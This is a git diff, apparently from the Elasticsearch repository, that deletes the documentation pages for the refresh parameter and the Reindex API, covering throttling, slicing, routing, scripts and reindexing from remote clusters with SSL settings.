-that the cost of `true` is paid at index time to create the tiny segment, at
-search time to search the tiny segment, and at merge time to make the larger
-segments.
-* Never start multiple `refresh=wait_for` requests in a row. Instead batch them
-into a single bulk request with `refresh=wait_for` and Elasticsearch will start
-them all in parallel and return only when they have all finished.
-* If the refresh interval is set to `-1`, disabling the automatic refreshes,
-then requests with `refresh=wait_for` will wait indefinitely until some action
-causes a refresh. Conversely, setting `index.refresh_interval` to something
-shorter than the default like `200ms` will make `refresh=wait_for` come back
-faster, but it'll still generate inefficient segments.
-* `refresh=wait_for` only affects the request that it is on, but, by forcing a
-refresh immediately, `refresh=true` will affect other ongoing request. In
-general, if you have a running system you don't wish to disturb then
-`refresh=wait_for` is a smaller modification.
-
-[discrete]
-[[refresh_wait_for-force-refresh]]
-==== `refresh=wait_for` Can Force a Refresh
-
-If a `refresh=wait_for` request comes in when there are already
-`index.max_refresh_listeners` (defaults to 1000) requests waiting for a refresh
-on that shard then that request will behave just as though it had `refresh` set
-to `true` instead: it will force a refresh. This keeps the promise that when a
-`refresh=wait_for` request returns that its changes are visible for search
-while preventing unchecked resource usage for blocked requests. If a request
-forced a refresh because it ran out of listener slots then its response will
-contain `"forced_refresh": true`.
-
-Bulk requests only take up one slot on each shard that they touch no matter how
-many times they modify the shard.
-
-[discrete]
-==== Examples
-
-These will create a document and immediately refresh the index so it is visible:
-
-[source,console]
---------------------------------------------------
-PUT /test/_doc/1?refresh
-{"test": "test"}
-PUT /test/_doc/2?refresh=true
-{"test": "test"}
---------------------------------------------------
-
-These will create a document without doing anything to make it visible for
-search:
-
-[source,console]
---------------------------------------------------
-PUT /test/_doc/3
-{"test": "test"}
-PUT /test/_doc/4?refresh=false
-{"test": "test"}
---------------------------------------------------
-
-This will create a document and wait for it to become visible for search:
-
-[source,console]
---------------------------------------------------
-PUT /test/_doc/4?refresh=wait_for
-{"test": "test"}
---------------------------------------------------
diff --git a/docs/reference/docs/reindex.asciidoc b/docs/reference/docs/reindex.asciidoc
deleted file mode 100644
index 4c3b96fd9c5..00000000000
--- a/docs/reference/docs/reindex.asciidoc
+++ /dev/null
@@ -1,1182 +0,0 @@
-[[docs-reindex]]
-=== Reindex API
-++++
-<titleabbrev>Reindex</titleabbrev>
-++++
-
-Copies documents from a _source_ to a _destination_.
-
-The source and destination can be any pre-existing index, index alias, or
-<<data-streams,data stream>>. However, the source and destination must be
-different. For example, you cannot reindex a data stream into itself.
-
-[IMPORTANT]
-=================================================
-Reindex requires <<mapping-source-field,`_source`>> to be enabled for
-all documents in the source.
-
-The destination should be configured as wanted before calling `_reindex`.
-Reindex does not copy the settings from the source or its associated template.
-
-Mappings, shard counts, replicas, and so on must be configured ahead of time.
-=================================================
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "my-index-000001"
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index_big]
-
-////
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 147,
-  "timed_out": false,
-  "created": 120,
-  "updated": 0,
-  "deleted": 0,
-  "batches": 1,
-  "version_conflicts": 0,
-  "noops": 0,
-  "retries": {
-    "bulk": 0,
-    "search": 0
-  },
-  "throttled_millis": 0,
-  "requests_per_second": -1.0,
-  "throttled_until_millis": 0,
-  "total": 120,
-  "failures" : [ ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took" : 147/"took" : "$body.took"/]
-
-////
-
-[[docs-reindex-api-request]]
-==== {api-request-title}
-
-`POST /_reindex`
-
-[[docs-reindex-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the the following
-security privileges:
-
-** The `read` <<privileges-list-indices,index privilege>> for the source data
-stream, index, or index alias.
-
-** The `write` index privilege for the destination data stream, index, or index
-alias.
-
-** To automatically create a data stream or index with an reindex API request,
-you must have the `auto_configure`, `create_index`, or `manage` index
-privilege for the destination data stream, index, or index alias.
-
-** If reindexing from a remote cluster, the `source.remote.user` must have the
-`monitor` <<privileges-list-cluster,cluster privilege>> and the `read` index
-privilege for the source data stream, index, or index alias.
-
-* If reindexing from a remote cluster, you must explicitly allow the remote host
-in the `reindex.remote.whitelist` setting of `elasticsearch.yml`. See
-<<reindex-from-remote>>.
-
-* Automatic data stream creation requires a matching index template with data
-stream enabled. See <<set-up-a-data-stream>>.
-
-[[docs-reindex-api-desc]]
-==== {api-description-title}
-
-// tag::docs-reindex-api-desc-tag[]
-Extracts the <<mapping-source-field,document source>> from the source index and indexes the documents into the destination index.
-You can copy all documents to the destination index, or reindex a subset of the documents.
-// end::docs-reindex-api-desc-tag[]
-
-
-Just like <<docs-update-by-query,`_update_by_query`>>, `_reindex` gets a
-snapshot of the source but its destination must be **different** so
-version conflicts are unlikely. The `dest` element can be configured like the
-index API to control optimistic concurrency control. Omitting
-`version_type` or setting it to `internal` causes Elasticsearch
-to blindly dump documents into the destination, overwriting any that happen to have
-the same ID.
-
-Setting `version_type` to `external` causes Elasticsearch to preserve the
-`version` from the source, create any documents that are missing, and update
-any documents that have an older version in the destination than they do
-in the source.
-
-Setting `op_type` to `create` causes `_reindex` to only create missing
-documents in the destination. All existing documents will cause a version
-conflict.
-
-IMPORTANT: Because data streams are <<data-streams-append-only,append-only>>,
-any reindex request to a destination data stream must have an `op_type`
-of`create`. A reindex can only add new documents to a destination data stream.
-It cannot update existing documents in a destination data stream.
-
-By default, version conflicts abort the `_reindex` process.
-To continue reindexing if there are conflicts, set the `"conflicts"` request body parameter to `proceed`.
-In this case, the response includes a count of the version conflicts that were encountered.
-Note that the handling of other error types is unaffected by the `"conflicts"` parameter.
-
-[[docs-reindex-task-api]]
-===== Running reindex asynchronously
-
-If the request contains `wait_for_completion=false`, {es}
-performs some preflight checks, launches the request, and returns a
-<<tasks,`task`>> you can use to cancel or get the status of the task.
-{es} creates a record of this task as a document at `.tasks/_doc/${taskId}`.
-When you are done with a task, you should delete the task document so
-{es} can reclaim the space.
-
-[[docs-reindex-from-multiple-sources]]
-===== Reindex from multiple sources
-If you have many sources to reindex it is generally better to reindex them
-one at a time rather than using a glob pattern to pick up multiple sources. That
-way you can resume the process if there are any errors by removing the
-partially completed source and starting over. It also makes
-parallelizing the process fairly simple: split the list of sources to reindex
-and run each list in parallel.
-
-One-off bash scripts seem to work nicely for this:
-
-[source,bash]
-----------------------------------------------------------------
-for index in i1 i2 i3 i4 i5; do
-  curl -HContent-Type:application/json -XPOST localhost:9200/_reindex?pretty -d'{
-    "source": {
-      "index": "'$index'"
-    },
-    "dest": {
-      "index": "'$index'-reindexed"
-    }
-  }'
-done
-----------------------------------------------------------------
-// NOTCONSOLE
-
-[[docs-reindex-throttle]]
-===== Throttling
-
-Set `requests_per_second` to any positive decimal number (`1.4`, `6`,
-`1000`, etc.) to throttle the rate at which `_reindex` issues batches of index
-operations. Requests are throttled by padding each batch with a wait time.
-To disable throttling, set `requests_per_second` to `-1`.
-
-The throttling is done by waiting between batches so that the `scroll` that `_reindex`
-uses internally can be given a timeout that takes into account the padding.
-The padding time is the difference between the batch size divided by the
-`requests_per_second` and the time spent writing. By default the batch size is
-`1000`, so if `requests_per_second` is set to `500`:
-
-[source,txt]
---------------------------------------------------
-target_time = 1000 / 500 per second = 2 seconds
-wait_time = target_time - write_time = 2 seconds - .5 seconds = 1.5 seconds
---------------------------------------------------
-
-Since the batch is issued as a single `_bulk` request, large batch sizes
-cause Elasticsearch to create many requests and then wait for a while before
-starting the next set. This is "bursty" instead of "smooth".
-
-[[docs-reindex-rethrottle]]
-===== Rethrottling
-
-The value of `requests_per_second` can be changed on a running reindex using
-the `_rethrottle` API:
-
-[source,console]
---------------------------------------------------
-POST _reindex/r1A2WoRbTwKZ516z6NEs5A:36619/_rethrottle?requests_per_second=-1
---------------------------------------------------
-
-The task ID can be found using the <<tasks,tasks API>>.
-
-Just like when setting it on the Reindex API, `requests_per_second`
-can be either `-1` to disable throttling or any decimal number
-like `1.7` or `12` to throttle to that level. Rethrottling that speeds up the
-query takes effect immediately, but rethrottling that slows down the query will
-take effect after completing the current batch. This prevents scroll
-timeouts.
-
-[[docs-reindex-slice]]
-===== Slicing
-
-Reindex supports <<slice-scroll>> to parallelize the reindexing process.
-This parallelization can improve efficiency and provide a convenient way to
-break the request down into smaller parts.
-
-NOTE: Reindexing from remote clusters does not support
-<<docs-reindex-manual-slice, manual>> or
-<<docs-reindex-automatic-slice, automatic slicing>>.
-
-[[docs-reindex-manual-slice]]
-====== Manual slicing
-Slice a reindex request manually by providing a slice id and total number of
-slices to each request:
-
-[source,console]
-----------------------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "my-index-000001",
-    "slice": {
-      "id": 0,
-      "max": 2
-    }
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
-POST _reindex
-{
-  "source": {
-    "index": "my-index-000001",
-    "slice": {
-      "id": 1,
-      "max": 2
-    }
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
-----------------------------------------------------------------
-// TEST[setup:my_index_big]
-
-You can verify this works by:
-
-[source,console]
-----------------------------------------------------------------
-GET _refresh
-POST my-new-index-000001/_search?size=0&filter_path=hits.total
-----------------------------------------------------------------
-// TEST[continued]
-
-which results in a sensible `total` like this one:
-
-[source,console-result]
-----------------------------------------------------------------
-{
-  "hits": {
-    "total" : {
-        "value": 120,
-        "relation": "eq"
-    }
-  }
-}
-----------------------------------------------------------------
-
-[[docs-reindex-automatic-slice]]
-====== Automatic slicing
-
-You can also let `_reindex` automatically parallelize using <<slice-scroll>> to
-slice on `_id`. Use `slices` to specify the number of slices to use:
-
-[source,console]
-----------------------------------------------------------------
-POST _reindex?slices=5&refresh
-{
-  "source": {
-    "index": "my-index-000001"
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
-----------------------------------------------------------------
-// TEST[setup:my_index_big]
-
-You can also this verify works by:
-
-[source,console]
-----------------------------------------------------------------
-POST my-new-index-000001/_search?size=0&filter_path=hits.total
-----------------------------------------------------------------
-// TEST[continued]
-
-which results in a sensible `total` like this one:
-
-[source,console-result]
-----------------------------------------------------------------
-{
-  "hits": {
-    "total" : {
-        "value": 120,
-        "relation": "eq"
-    }
-  }
-}
-----------------------------------------------------------------
-
-Setting `slices` to `auto` will let Elasticsearch choose the number of slices to
-use. This setting will use one slice per shard, up to a certain limit. If there
-are multiple sources, it will choose the number of
-slices based on the index or <<data-streams,backing index>> with the smallest
-number of shards.
-
-Adding `slices` to `_reindex` just automates the manual process used in the
-section above, creating sub-requests which means it has some quirks:
-
-* You can see these requests in the <<docs-reindex-task-api,Tasks APIs>>. These
-sub-requests are "child" tasks of the task for the request with `slices`.
-* Fetching the status of the task for the request with `slices` only contains
-the status of completed slices.
-* These sub-requests are individually addressable for things like cancelation
-and rethrottling.
-* Rethrottling the request with `slices` will rethrottle the unfinished
-sub-request proportionally.
-* Canceling the request with `slices` will cancel each sub-request.
-* Due to the nature of `slices` each sub-request won't get a perfectly even
-portion of the documents. All documents will be addressed, but some slices may
-be larger than others. Expect larger slices to have a more even distribution.
-* Parameters like `requests_per_second` and `max_docs` on a request with
-`slices` are distributed proportionally to each sub-request. Combine that with
-the point above about distribution being uneven and you should conclude that
-using `max_docs` with `slices` might not result in exactly `max_docs` documents
-being reindexed.
-* Each sub-request gets a slightly different snapshot of the source,
-though these are all taken at approximately the same time.
-
-[[docs-reindex-picking-slices]]
-====== Picking the number of slices
-
-If slicing automatically, setting `slices` to `auto` will choose a reasonable
-number for most indices. If slicing manually or otherwise tuning
-automatic slicing, use these guidelines.
-
-Query performance is most efficient when the number of `slices` is equal to the
-number of shards in the index. If that number is large (e.g. 500),
-choose a lower number as too many `slices` will hurt performance. Setting
-`slices` higher than the number of shards generally does not improve efficiency
-and adds overhead.
-
-Indexing performance scales linearly across available resources with the
-number of slices.
-
-Whether query or indexing performance dominates the runtime depends on the
-documents being reindexed and cluster resources.
-
-[[docs-reindex-routing]]
-===== Reindex routing
-
-By default if `_reindex` sees a document with routing then the routing is
-preserved unless it's changed by the script. You can set `routing` on the
-`dest` request to change this:
-
-`keep`::
-
-Sets the routing on the bulk request sent for each match to the routing on
-the match. This is the default value.
-
-`discard`::
-
-Sets the routing on the bulk request sent for each match to `null`.
-
-`=<some text>`::
-
-Sets the routing on the bulk request sent for each match to all text after
-the `=`.
-
-For example, you can use the following request to copy all documents from
-the `source` with the company name `cat` into the `dest`  with
-routing set to `cat`.
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "source",
-    "query": {
-      "match": {
-        "company": "cat"
-      }
-    }
-  },
-  "dest": {
-    "index": "dest",
-    "routing": "=cat"
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT source\n/]
-
-
-
-By default `_reindex` uses scroll batches of 1000. You can change the
-batch size with the `size` field in the `source` element:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "source",
-    "size": 100
-  },
-  "dest": {
-    "index": "dest",
-    "routing": "=cat"
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT source\n/]
-
-[[reindex-with-an-ingest-pipeline]]
-===== Reindex with an ingest pipeline
-
-Reindex can also use the <<ingest>> feature by specifying a
-`pipeline` like this:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "source"
-  },
-  "dest": {
-    "index": "dest",
-    "pipeline": "some_ingest_pipeline"
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT source\n/]
-
-[[docs-reindex-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh]
-
-`timeout`::
-+
---
-(Optional, <<time-units, time units>>)
-Period each indexing waits for the following operations:
-
-* <<index-creation,Automatic index creation>>
-* <<dynamic-mapping,Dynamic mapping>> updates
-* <<index-wait-for-active-shards,Waiting for active shards>>
-
-Defaults to `1m` (one minute). This guarantees {es} waits for at least the
-timeout before failing. The actual wait time could be longer, particularly when
-multiple waits occur.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-`wait_for_completion`::
-(Optional, Boolean) If `true`, the request blocks until the operation is complete.
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=requests_per_second]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=require-alias]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=scroll]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=slices]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=max_docs]
-
-[[docs-reindex-api-request-body]]
-==== {api-request-body-title}
-
-`conflicts`::
-(Optional, enum) Set to `proceed` to continue reindexing even if there are conflicts.
-Defaults to `abort`.
-
-`source`::
-`index`:::
-(Required, string) The name of the data stream, index, or index alias you are copying _from_.
-Also accepts a comma-separated list to reindex from multiple sources.
-
-`max_docs`:::
-(Optional, integer) The maximum number of documents to reindex.
-
-`query`:::
-(Optional, <<query-dsl, query object>>) Specifies the documents to reindex using the Query DSL.
-
-`remote`:::
-`host`::::
-(Optional, string) The URL for the remote instance of {es} that you want to index _from_.
-Required when indexing from remote.
-`username`::::
-(Optional, string) The username to use for authentication with the remote host.
-`password`::::
-(Optional, string) The password to use for authentication with the remote host.
-`socket_timeout`::::
-(Optional, <<time-units, time units>>) The remote socket read timeout. Defaults to 30 seconds.
-`connect_timeout`::::
-(Optional, <<time-units, time units>>) The remote connection timeout. Defaults to 30 seconds.
-
-`size`:::
-{Optional, integer) The number of documents to index per batch.
-Use when indexing from remote to ensure that the batches fit within the on-heap buffer,
-which defaults to a maximum size of 100 MB.
-
-`slice`:::
-`id`::::
-(Optional, integer) Slice ID for <<docs-reindex-manual-slice, manual slicing>>.
-`max`::::
-(Optional, integer) Total number of slices.
-
-`sort`:::
-+
---
-(Optional, list) A comma-separated list of `<field>:<direction>` pairs to sort by before indexing.
-Use in conjunction with `max_docs` to control what documents are reindexed.
-
-deprecated::[7.6, Sort in reindex is deprecated. Sorting in reindex was never guaranteed to index documents in order and prevents further development of reindex such as resilience and performance improvements. If used in combination with `max_docs`&#44; consider using a query filter instead.]
---
-
-`_source`:::
-(Optional, string) If `true` reindexes all source fields.
-Set to a list to reindex select fields.
-Defaults to `true`.
-
-`dest`::
-`index`:::
-(Required, string) The name of the data stream, index, or index alias you are copying _to_.
-
-`version_type`:::
-(Optional, enum) The versioning to use for the indexing operation.
-Valid values: `internal`, `external`, `external_gt`, `external_gte`.
-See <<index-version-types>> for more information.
-
-`op_type`:::
-(Optional, enum) Set to create to only index documents that do not already exist (put if absent).
-Valid values: `index`, `create`. Defaults to `index`.
-+
-IMPORTANT: To reindex to a data stream destination, this argument must be
-`create`.
-
-`type`:::
-(Optional, string)
-deprecated:[6.0.0,Types are deprecated and in the process of being removed. See <<removal-of-types>>.]
-<<mapping-type-field,Document type>> for reindexed documents.
-Defaults to `_doc`.
-+
-[WARNING]
-====
-Types in source indices are always ignored, also when not specifying a
-destination `type`. If explicitly specifying destination `type`, the specified
-type must match the type in the destination index or be either unspecified or
-the special value `_doc`. See <<removal-of-types>> for further details.
-====
-
-`script`::
-`source`:::
-(Optional, string) The script to run to update the document source or metadata when reindexing.
-`lang`:::
-(Optional, enum) The script language: `painless`, `expression`, `mustache`, `java`.
-For more information, see <<modules-scripting>>.
-
-
-[[docs-reindex-api-response-body]]
-==== {api-response-body-title}
-
-`took`::
-
-(integer) The total milliseconds the entire operation took.
-
-`timed_out`::
-
-{Boolean) This flag is set to `true` if any of the requests executed during the
-reindex timed out.
-
-`total`::
-
-(integer) The number of documents that were successfully processed.
-
-`updated`::
-(integer) The number of documents that were successfully updated,
-i.e. a document with same ID already existed prior to reindex updating it.
-
-`created`::
-
-(integer) The number of documents that were successfully created.
-
-`deleted`::
-
-(integer) The number of documents that were successfully deleted.
-
-`batches`::
-
-(integer) The number of scroll responses pulled back by the reindex.
-
-`noops`::
-
-(integer) The number of documents that were ignored because the script used for
-the reindex returned a `noop` value for `ctx.op`.
-
-`version_conflicts`::
-
-(integer) The number of version conflicts that reindex hits.
-
-`retries`::
-
-(integer) The number of retries attempted by reindex. `bulk` is the number of bulk
-actions retried and `search` is the number of search actions retried.
-
-`throttled_millis`::
-
-(integer) Number of milliseconds the request slept to conform to `requests_per_second`.
-
-`requests_per_second`::
-
-(integer) The number of requests per second effectively executed during the reindex.
-
-`throttled_until_millis`::
-
-(integer) This field should always be equal to zero in a `_reindex` response. It only
-has meaning when using the <<docs-reindex-task-api, Task API>>, where it
-indicates the next time (in milliseconds since epoch) a throttled request will be
-executed again in order to conform to `requests_per_second`.
-
-`failures`::
-
-(array) Array of failures if there were any unrecoverable errors during the process. If
-this is non-empty then the request aborted because of those failures. Reindex
-is implemented using batches and any failure causes the entire process to abort
-but all failures in the current batch are collected into the array. You can use
-the `conflicts` option to prevent reindex from aborting on version conflicts.
-
-[[docs-reindex-api-example]]
-==== {api-examples-title}
-
-[[docs-reindex-select-query]]
-===== Reindex select documents with a query
-
-You can limit the documents by adding a query to the `source`.
-For example, the following request only copies documents with a `user.id` of `kimchy` into `my-new-index-000001`:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "my-index-000001",
-    "query": {
-      "term": {
-        "user.id": "kimchy"
-      }
-    }
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-reindex-select-max-docs]]
-===== Reindex select documents with `max_docs`
-
-You can limit the number of processed documents by setting `max_docs`.
-For example, this request copies a single document from `my-index-000001` to
-`my-new-index-000001`:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "max_docs": 1,
-  "source": {
-    "index": "my-index-000001"
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-reindex-multiple-sources]]
-===== Reindex from multiple sources
-
-The `index` attribute in `source` can be a list, allowing you to copy from lots
-of sources in one request. This will copy documents from the
-`my-index-000001` and `my-index-000002` indices:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": ["my-index-000001", "my-index-000002"]
-  },
-  "dest": {
-    "index": "my-new-index-000002"
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-// TEST[s/^/PUT my-index-000002\/_doc\/post1?refresh\n{"test": "foo"}\n/]
-
-NOTE: The Reindex API makes no effort to handle ID collisions so the last
-document written will "win" but the order isn't usually predictable so it is
-not a good idea to rely on this behavior. Instead, make sure that IDs are unique
-using a script.
-
-[[docs-reindex-filter-source]]
-===== Reindex select fields with a source filter
-
-You can use source filtering to reindex a subset of the fields in the original documents.
-For example, the following request only reindexes the `user.id` and `_doc` fields of each document:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "my-index-000001",
-    "_source": ["user.id", "_doc"]
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-reindex-change-name]]
-===== Reindex to change the name of a field
-
-`_reindex` can be used to build a copy of an index with renamed fields. Say you
-create an index containing documents that look like this:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_doc/1?refresh
-{
-  "text": "words words",
-  "flag": "foo"
-}
---------------------------------------------------
-
-but you don't like the name `flag` and want to replace it with `tag`.
-`_reindex` can create the other index for you:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "my-index-000001"
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  },
-  "script": {
-    "source": "ctx._source.tag = ctx._source.remove(\"flag\")"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Now you can get the new document:
-
-[source,console]
---------------------------------------------------
-GET my-new-index-000001/_doc/1
---------------------------------------------------
-// TEST[continued]
-
-which will return:
-
-[source,console-result]
---------------------------------------------------
-{
-  "found": true,
-  "_id": "1",
-  "_index": "my-new-index-000001",
-  "_type": "_doc",
-  "_version": 1,
-  "_seq_no": 44,
-  "_primary_term": 1,
-  "_source": {
-    "text": "words words",
-    "tag": "foo"
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term": 1/"_primary_term" : $body._primary_term/]
-
-[[docs-reindex-daily-indices]]
-===== Reindex daily indices
-
-You can use `_reindex` in combination with <<modules-scripting-painless, Painless>> to reindex
-daily indices to apply a new template to the existing documents.
-
-Assuming you have indices that contain documents like:
-
-[source,console]
-----------------------------------------------------------------
-PUT metricbeat-2016.05.30/_doc/1?refresh
-{"system.cpu.idle.pct": 0.908}
-PUT metricbeat-2016.05.31/_doc/1?refresh
-{"system.cpu.idle.pct": 0.105}
-----------------------------------------------------------------
-
-The new template for the `metricbeat-*` indices is already loaded into Elasticsearch,
-but it applies only to the newly created indices. Painless can be used to reindex
-the existing documents and apply the new template.
-
-The script below extracts the date from the index name and creates a new index
-with `-1` appended. All data from `metricbeat-2016.05.31` will be reindexed
-into `metricbeat-2016.05.31-1`.
-
-[source,console]
-----------------------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "metricbeat-*"
-  },
-  "dest": {
-    "index": "metricbeat"
-  },
-  "script": {
-    "lang": "painless",
-    "source": "ctx._index = 'metricbeat-' + (ctx._index.substring('metricbeat-'.length(), ctx._index.length())) + '-1'"
-  }
-}
-----------------------------------------------------------------
-// TEST[continued]
-
-All documents from the previous metricbeat indices can now be found in the `*-1` indices.
-
-[source,console]
-----------------------------------------------------------------
-GET metricbeat-2016.05.30-1/_doc/1
-GET metricbeat-2016.05.31-1/_doc/1
-----------------------------------------------------------------
-// TEST[continued]
-
-The previous method can also be used in conjunction with <<docs-reindex-change-name, changing a field name>>
-to load only the existing data into the new index and rename any fields if needed.
-
-[[docs-reindex-api-subset]]
-===== Extract a random subset of the source
-
-`_reindex` can be used to extract a random subset of the source for testing:
-
-[source,console]
-----------------------------------------------------------------
-POST _reindex
-{
-  "max_docs": 10,
-  "source": {
-    "index": "my-index-000001",
-    "query": {
-      "function_score" : {
-        "random_score" : {},
-        "min_score" : 0.9    <1>
-      }
-    }
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
-----------------------------------------------------------------
-// TEST[setup:my_index_big]
-
-<1> You may need to adjust the `min_score` depending on the relative amount of
-data extracted from source.
-
-[[reindex-scripts]]
-===== Modify documents during reindexing
-
-Like `_update_by_query`, `_reindex` supports a script that modifies the
-document. Unlike `_update_by_query`, the script is allowed to modify the
-document's metadata. This example bumps the version of the source document:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "my-index-000001"
-  },
-  "dest": {
-    "index": "my-new-index-000001",
-    "version_type": "external"
-  },
-  "script": {
-    "source": "if (ctx._source.foo == 'bar') {ctx._version++; ctx._source.remove('foo')}",
-    "lang": "painless"
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-Just as in `_update_by_query`, you can set `ctx.op` to change the
-operation that is executed on the destination:
-
-`noop`::
-
-Set `ctx.op = "noop"` if your script decides that the document doesn't have
-to be indexed in the destination. This no operation will be reported
-in the `noop` counter in the <<docs-reindex-api-response-body, response body>>.
-
-`delete`::
-
-Set `ctx.op = "delete"` if your script decides that the document must be
- deleted from the destination. The deletion will be reported in the
- `deleted` counter in the <<docs-reindex-api-response-body, response body>>.
-
-Setting `ctx.op` to anything else will return an error, as will setting any
-other field in `ctx`.
-
-Think of the possibilities! Just be careful; you are able to
-change:
-
- * `_id`
- * `_index`
- * `_version`
- * `_routing`
-
-Setting `_version` to `null` or clearing it from the `ctx` map is just like not
-sending the version in an indexing request; it will cause the document to be
-overwritten in the destination regardless of the version on the target or the
-version type you use in the `_reindex` request.
-
-[[reindex-from-remote]]
-==== Reindex from remote
-
-Reindex supports reindexing from a remote Elasticsearch cluster:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "remote": {
-      "host": "http://otherhost:9200",
-      "username": "user",
-      "password": "pass"
-    },
-    "index": "my-index-000001",
-    "query": {
-      "match": {
-        "test": "data"
-      }
-    }
-  },
-  "dest": {
-    "index": "my-new-index-000001"
-  }
-}
---------------------------------------------------
-// TEST[setup:host]
-// TEST[s/^/PUT my-index-000001\n/]
-// TEST[s/otherhost:9200",/\${host}"/]
-// TEST[s/"username": "user",//]
-// TEST[s/"password": "pass"//]
-
-The `host` parameter must contain a scheme, host, port (e.g.
-`https://otherhost:9200`), and optional path (e.g. `https://otherhost:9200/proxy`).
-The `username` and `password` parameters are optional, and when they are present `_reindex`
-will connect to the remote Elasticsearch node using basic auth. Be sure to use `https` when
-using basic auth or the password will be sent in plain text.
-There are a range of <<reindex-ssl,settings>> available to configure the behaviour of the
- `https` connection.
-
-Remote hosts have to be explicitly allowed in elasticsearch.yml using the
-`reindex.remote.whitelist` property. It can be set to a comma delimited list
-of allowed remote `host` and `port` combinations. Scheme is
-ignored, only the host and port are used. For example:
-
-
-[source,yaml]
---------------------------------------------------
-reindex.remote.whitelist: "otherhost:9200, another:9200, 127.0.10.*:9200, localhost:*"
---------------------------------------------------
-
-The list of allowed hosts must be configured on any nodes that will coordinate the reindex.
-
-This feature should work with remote clusters of any version of Elasticsearch
-you are likely to find. This should allow you to upgrade from any version of
-Elasticsearch to the current version by reindexing from a cluster of the old
-version.
-
-WARNING: {es} does not support forward compatibility across major versions. For
-example, you cannot reindex from a 7.x cluster into a 6.x cluster.
-
-To enable queries sent to older versions of Elasticsearch the `query` parameter
-is sent directly to the remote host without validation or modification.
-
-NOTE: Reindexing from remote clusters does not support
-<<docs-reindex-manual-slice, manual>> or
-<<docs-reindex-automatic-slice, automatic slicing>>.
-
-Reindexing from a remote server uses an on-heap buffer that defaults to a
-maximum size of 100mb. If the remote index includes very large documents you'll
-need to use a smaller batch size. The example below sets the batch size to `10`
-which is very, very small.
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "remote": {
-      "host": "http://otherhost:9200"
-    },
-    "index": "source",
-    "size": 10,
-    "query": {
-      "match": {
-        "test": "data"
-      }
-    }
-  },
-  "dest": {
-    "index": "dest"
-  }
-}
---------------------------------------------------
-// TEST[setup:host]
-// TEST[s/^/PUT source\n/]
-// TEST[s/otherhost:9200/\${host}/]
-
-It is also possible to set the socket read timeout on the remote connection
-with the `socket_timeout` field and the connection timeout with the
-`connect_timeout` field. Both default to 30 seconds. This example
-sets the socket read timeout to one minute and the connection timeout to 10
-seconds:
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "remote": {
-      "host": "http://otherhost:9200",
-      "socket_timeout": "1m",
-      "connect_timeout": "10s"
-    },
-    "index": "source",
-    "query": {
-      "match": {
-        "test": "data"
-      }
-    }
-  },
-  "dest": {
-    "index": "dest"
-  }
-}
---------------------------------------------------
-// TEST[setup:host]
-// TEST[s/^/PUT source\n/]
-// TEST[s/otherhost:9200/\${host}/]
-
-[[reindex-ssl]]
-===== Configuring SSL parameters
-
-Reindex from remote supports configurable SSL settings. These must be
-specified in the `elasticsearch.yml` file, with the exception of the
-secure settings, which you add in the Elasticsearch keystore.
-It is not possible to configure SSL in the body of the `_reindex` request.
-
-The following settings are supported:
-
-`reindex.ssl.certificate_authorities`::
-List of paths to PEM encoded certificate files that should be trusted.
-You cannot specify both `reindex.ssl.certificate_authorities` and
-`reindex.ssl.truststore.path`.
-
-`reindex.ssl.truststore.path`::
-The path to the Java Keystore file that contains the certificates to trust.
-This keystore can be in "JKS" or "PKCS#12" format.
-You cannot specify both `reindex.ssl.certificate_authorities` and
-`reindex.ssl.truststore.path`.
-
